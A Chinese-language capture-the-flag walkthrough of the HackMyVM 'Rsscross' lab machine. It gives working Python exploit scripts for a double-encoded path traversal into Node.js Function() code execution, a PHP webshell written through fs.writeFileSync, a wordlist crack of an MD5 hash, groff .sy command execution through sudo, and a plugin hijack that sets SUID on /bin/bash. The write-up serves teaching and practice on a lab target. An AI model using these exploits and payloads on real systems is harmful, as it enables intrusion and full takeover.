跳到主要内容

HackMyVM Rsscross 通关记录|Node.js Function RCE、MD5 换行破解与 smassh 提权

靶机链接:Rsscross


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Rsscross192.168.1.108

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp80/tcp3000/tcp filtered明确 Web 与本地 Node 服务是重点
源码泄露/app.tar获得 PHP 前端和 Node.js 后端源码
代码审计Function(body.match(...)[0] + ...)()确认 Node.js 会执行 PHP 输出中的 JS
路径穿越%252e%252e%252f...article.show.php%253fid%253dX让 Node 读取含 payload 的文章页
RCEprocess.mainModule.require(\child_process`)`www-data 执行命令
WebShellfs.writeFileSync('/var/www/html/w.php', ...)获得稳定命令执行入口
凭据获取MySQL flag.echo得到 MD5 hash 07e2a8ac8bd28bc3a0ffc4fab3145b5b
哈希破解md5("zombie666\n")获得 zb:zombie666
横向移动sudo -u mob groff -U + .symob 上下文执行命令
root 提权smassh add 导入 zb 可写插件root 执行恶意 Python,设置 SUID bash

0x02 侦察与源码泄露

1. 端口扫描

rustscan -a 192.168.1.108 -- -sV -sC -O
nmap -p- -T4 --min-rate=10000 192.168.1.108

关键结果:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3
80/tcpHTTPApache httpd 2.4.65 (Debian),RssCross RSS 聚合平台
3000/tcpfilteredNode.js Express 后端,仅 localhost 可访问

WSL Ubuntu 复测时,80 端口返回:

HTTP/1.1 200 OK
Server: Apache/2.4.65 (Debian)
Content-Type: text/html; charset=UTF-8

2. 目录枚举

dirsearch -u http://192.168.1.108 -e php,txt,html,zip,tar.gz,rar,bak,sql,tar,old,7z

关键发现:

端点说明
/app.tar6.2MB 源码备份
/config.php返回 hacker!
/admin/管理员后台,无认证
/admin/article.manage.php文章管理
/admin/article.add.php新增文章
/admin/article.modify.php修改文章
/article.show.php文章详情
/Rssinfo/index.php/IDJSON 格式文章信息
/GetRss/index.php/IDRSS XML 格式

WSL Ubuntu 复测时,/app.tarContent-Type: application/x-tarContent-Length: 6492160/admin/ 返回 302/config.php 返回 hacker!

源码下载:

curl -s -o app.tar http://192.168.1.108/app.tar
tar xvf app.tar

解压后包含:

app/
var/www/html/

目录扫描的通用方法可参考知识库:Dirsearch Web 路径扫描

3. 数据库凭据

var/www/html/connect.php 泄露数据库配置:

$host = 'localhost';
$user = 'ctf';
$pass = '98vwqld912!@823c@#';
$dbname = 'article';

4. Node.js Function() 执行点

app/app.js/api/:id 会请求 PHP 生成的内容,并把其中 var passage = {...}; 拼进 Function() 执行:

app.get("/api/:id", function(req, res, next) {
var link = `http://localhost/Rssinfo/index.php/${req.params.id}`;
request(options, function (error, response, body) {
const data = Function(
body.match(/var passage = \{.*};/gm)[0]
+ 'let json_data=JSON.parse(JSON.stringify(passage));'
+ 'return json_data;'
)();
})
});

Rssinfo/index.php 直接把数据库字段嵌进 JavaScript:

$id = htmlspecialchars(end(explode("/", $_SERVER['PHP_SELF'])), ENT_QUOTES);
$data = mysqli_query($conn, "select title,author,content,dateline from article where id='$id'");
$data = mysqli_fetch_assoc($data);
?>
<script>var passage = {"author":"<?php echo $data['author'];?>","title":"<?php echo $data['title']?>"};</script>

输入过滤在 html.php 中:

function html($arr){
foreach ($arr as $key => $value){
$arr[$key] = htmlspecialchars($arr[$key], ENT_QUOTES);
}
return $arr;
}

htmlspecialchars(..., ENT_QUOTES) 会编码 &"'<>,但不编码反引号和换行。字段限制在 article.add.handle.php

if(strlen($title) > 10 || strlen($author) > 10){ die(...); }

只有 titleauthor 限 10 字符,descriptioncontent 没有限制。


0x03 漏洞利用:双编码路径穿越到 Node.js RCE

1. 攻击思路

直接向 Rssinfo/index.php 注入不方便,因为它只输出 titleauthor。真正适合放 payload 的是 article.show.php,它会输出完整文章内容,包括无长度限制的 content 字段。

目标是让 Node.js 的这一段:

var link = `http://localhost/Rssinfo/index.php/${req.params.id}`;

最终访问:

http://localhost/article.show.php?id=X

构造:

GET /GetRss/index.php/%252e%252e%252f%252e%252e%252farticle.show.php%253fid%253dX

编码链:

  1. 浏览器到 Apache:%252e%252e%252f 不被 Apache 直接规范化。
  2. PHP GetRss 把路径拼到 http://localhost:3000/api/...
  3. Express 路由解码后,req.params.id 变成 ../../article.show.php?id=X
  4. Node.js 再请求 http://localhost/Rssinfo/index.php/../../article.show.php?id=X
  5. Apache 规范化路径后返回 /article.show.php?id=X

2. 命令执行 payload

content 字段写入:

var passage = {
title: process.mainModule.require(`child_process`).execSync(`id`).toString()
};

关键点:

问题处理方式
引号被 htmlspecialchars 编码使用反引号模板字面量
title / author 只有 10 字符payload 放进 content
Rssinfo 不输出 content双编码路径穿越读取 article.show.php
require 不可直接用使用 process.mainModule.require
命令输出需要回显放入 title,再从 RSS <title> 提取

自动化验证脚本:

#!/usr/bin/env python3
import re
import requests

ADD = "http://192.168.1.108/admin/article.add.handle.php"
GETRSS = "http://192.168.1.108/GetRss/index.php/"


def exec_cmd(cmd):
payload = (
"var passage = {title: process.mainModule.require(`child_process`)"
".execSync(`" + cmd + "`).toString()};"
)

data = {"title": "x", "author": "x", "description": "x", "content": payload}
requests.post(ADD, data=data, timeout=15)

r2 = requests.get("http://192.168.1.108/admin/article.manage.php", timeout=15)
ids = list(map(int, re.findall(r"article\.modify\.php\?id=(\d+)", r2.text)))
new_id = max(ids)

encoded = f"%252e%252e%252f%252e%252e%252farticle.show.php%253fid%253d{new_id}"
r3 = requests.get(GETRSS + encoded, timeout=15)

titles = re.findall(r"<title><!\[CDATA\[(.*?)\]\]></title>", r3.text, re.DOTALL)
return titles[0].strip() if titles else r3.text[:200]


print(exec_cmd("id"))

返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. 写入 WebShell

为了避开 shell 重定向、$ 展开和特殊字符编码问题,使用 Node.js 的 fs.writeFileSync,并用 String.fromCharCode 拼出模块名、路径和 PHP 内容。

目标 PHP:

<?php system($_GET[0]); ?>

字符编码:

php_code = "<?php system($_GET[0]); ?>"
file_path = "/var/www/html/w.php"
module_name = "fs"


def to_charcode(s):
return ",".join(str(ord(c)) for c in s)


print(to_charcode(php_code))
print(to_charcode(file_path))
print(to_charcode(module_name))

得到:

60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,48,93,41,59,32,63,62
47,118,97,114,47,119,119,119,47,104,116,109,108,47,119,46,112,104,112
102,115

写入脚本:

#!/usr/bin/env python3
import re
import requests

ADD = "http://192.168.1.108/admin/article.add.handle.php"
GETRSS = "http://192.168.1.108/GetRss/index.php/"

php_chars = "60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,48,93,41,59,32,63,62"
path_chars = "47,118,97,114,47,119,119,119,47,104,116,109,108,47,119,46,112,104,112"
fs_chars = "102,115"

js_payload = (
"var passage = {title: (process.mainModule.require("
f"String.fromCharCode({fs_chars})).writeFileSync("
f"String.fromCharCode({path_chars}), "
f"String.fromCharCode({php_chars})), "
"String.fromCharCode(79,75))};"
)

data = {"title": "ws", "author": "ws", "description": "ws", "content": js_payload}
requests.post(ADD, data=data, timeout=15)

r2 = requests.get("http://192.168.1.108/admin/article.manage.php", timeout=15)
ids = list(map(int, re.findall(r"article\.modify\.php\?id=(\d+)", r2.text)))
new_id = max(ids)
encoded = f"%252e%252e%252f%252e%252e%252farticle.show.php%253fid%253d{new_id}"
r3 = requests.get(GETRSS + encoded, timeout=15)
print(r3.text[:200])

WebShell 验证:

curl "http://192.168.1.108/w.php?0=id"

返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

WebShell 写入通用判断可参考:任意文件写入到 WebShell


0x04 后渗透:MySQL MD5 换行哈希到 SSH

1. MySQL 数据库

WebShell 下可以访问本地 MySQL,root 为空密码:

mysql -u root
SHOW DATABASES;
USE flag;
SHOW TABLES;
SELECT * FROM flag.echo;

flag.echo 中得到:

07e2a8ac8bd28bc3a0ffc4fab3145b5b

这是 echo password | md5sum 生成的 MD5,也就是 md5(password + "\n"),不是普通的 md5(password)

2. Python 破解

这种带尾部换行的 MD5 最稳妥的方式是直接脚本化。通用命令已整理到知识库:MD5 换行符哈希破解

#!/usr/bin/env python3
import gzip
import hashlib

target = "07e2a8ac8bd28bc3a0ffc4fab3145b5b"
found = None

with gzip.open("/usr/share/wordlists/rockyou.txt.gz", "rt", encoding="latin-1", errors="replace") as f:
for line in f:
word = line.rstrip("\r\n")
digest = hashlib.md5((word + "\n").encode("latin-1")).hexdigest()
if digest == target:
found = word
break

print(f"CRACKED: {found}")

结果:

CRACKED: zombie666

WSL Ubuntu 中已复核:

import hashlib
print(hashlib.md5(b"zombie666\n").hexdigest())

输出:

07e2a8ac8bd28bc3a0ffc4fab3145b5b

得到 SSH 凭据:

zb : zombie666

3. SSH 登录 zb

ssh zb@192.168.1.108

读取 user flag:

cat /home/zb/user.txt

结果:

flag{user-0e78dc497d5a2bd2a3fab7169dcfed12}

0x05 权限提升:groff 横向移动到 smassh 插件劫持

1. zb 的 sudo 权限

sudo -l

返回:

User zb may run the following commands on RssCross:
(mob) NOPASSWD: /usr/bin/groff

groff 在 unsafe 模式 -U 下支持 .sy 请求,通过 system() 执行 shell 命令。为了避免 PostScript 输出干扰,把 stdout 重定向到 /dev/null,命令输出走 stderr。

sudo -u mob groff -U 2>/tmp/groff.err 1>/dev/null << 'EOF'
.sy whoami
.sy id
.sy sudo -l
EOF
cat /tmp/groff.err

可以在 mob 上下文执行命令,并继续查看 mob 的 sudo 权限。

2. mob 的 sudo 权限

User mob may run the following commands on RssCross:
(ALL) NOPASSWD: /usr/local/bin/smassh

smassh 是 Python CLI 应用,版本 3.2.1,使用 click 框架。常规劫持路线被限制:

方案结果
PYTHONPATH=/tmp 注入sudo 禁止设置环境变量
/tmp/smassh/ CWD 劫持Python 3.9 sys.path 不含 CWD
.pth 注入dist-packages 目录不可写
TUI 交互打字练习程序,无法直接执行命令

关键是插件目录里有一个异常权限文件:

ls -la /usr/local/lib/python3.9/dist-packages/smassh/src/plugins/

结果:

-rw-rw-r-- 1 root zb 1637 Dec 3 add_language.py
-rw-r--r-- 1 root root 0 Dec 3 __init__.py

add_language.py 属组为 zb 且组可写。mob 运行:

sudo /usr/local/bin/smassh add test

时,root 会导入 smassh.src.plugins.add_language,也就会执行 zb 可写的 Python 代码。

3. 覆盖 add_language.py

zb 覆盖插件:

cat > /usr/local/lib/python3.9/dist-packages/smassh/src/plugins/add_language.py << 'EOF'
import os
os.system("id")
os.system("cat /root/root.txt")
os.system("chmod u+s /bin/bash")
EOF

4. 让 mob 触发 smassh

为方便稳定操作,先在攻击机生成 SSH 密钥:

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N '' -q

groff .sy 把公钥写入 mob

ssh zb@192.168.1.108 "
sudo -u mob groff -U 2>/dev/null 1>/dev/null << EOF
.sy mkdir -p /home/mob/.ssh
.sy echo '$(cat ~/.ssh/id_ed25519.pub)' > /home/mob/.ssh/authorized_keys
.sy chmod 700 /home/mob/.ssh
.sy chmod 600 /home/mob/.ssh/authorized_keys
EOF
"

登录 mob 并触发:

ssh mob@192.168.1.108 'sudo /usr/local/bin/smassh add test 2>&1'

返回:

uid=0(root) gid=0(root)
flag{root-d8545053956ab6af6be78451ebfdde55}

5. SUID bash

payload 已经执行:

chmod u+s /bin/bash

因此可以回到 zb 直接使用:

ssh zb@192.168.1.108 '/bin/bash -p -c "cat /root/root.txt; id"'

返回:

flag{root-d8545053956ab6af6be78451ebfdde55}
uid=1000(zb) euid=0(root)

0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/zb/user.txt
  • 内容: flag{user-0e78dc497d5a2bd2a3fab7169dcfed12}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-d8545053956ab6af6be78451ebfdde55}

数据库哈希

  • 内容: 07e2a8ac8bd28bc3a0ffc4fab3145b5b = md5("zombie666\n")

凭据汇总

用户 / 服务凭据来源
MySQL ctf98vwqld912!@823c@#/app.tarconnect.php
MySQL root空密码WebShell 后本地连接
zbzombie666flag.echo 的 MD5 换行哈希破解

复盘总结

Rsscross 的关键不是单点漏洞,而是 PHP 前端、Node.js 后端和本地 sudo 配置之间的信任边界连续失效。

  1. 源码备份是整条链的入口。 /app.tar 暴露了数据库凭据、Node.js API 逻辑和过滤细节。
  2. 跨服务路径拼接非常危险。 PHP 把用户路径拼给本地 Node,Node 再拼给 Apache,双编码让路径穿越跨过了多个组件边界。
  3. Function() 执行数据就是 RCE。 一旦可控内容进入 Function(),过滤引号并不能阻止反引号模板字面量。
  4. echo password | md5sum 会多一个换行。 这类哈希应按 md5(password + "\n") 处理,否则普通字典破解会错过正确密码。
  5. sudo 链可以分两段利用。 zb 不能直接 root,但能通过 groffmobmob 的 root 程序又会导入 zb 可写的 Python 插件。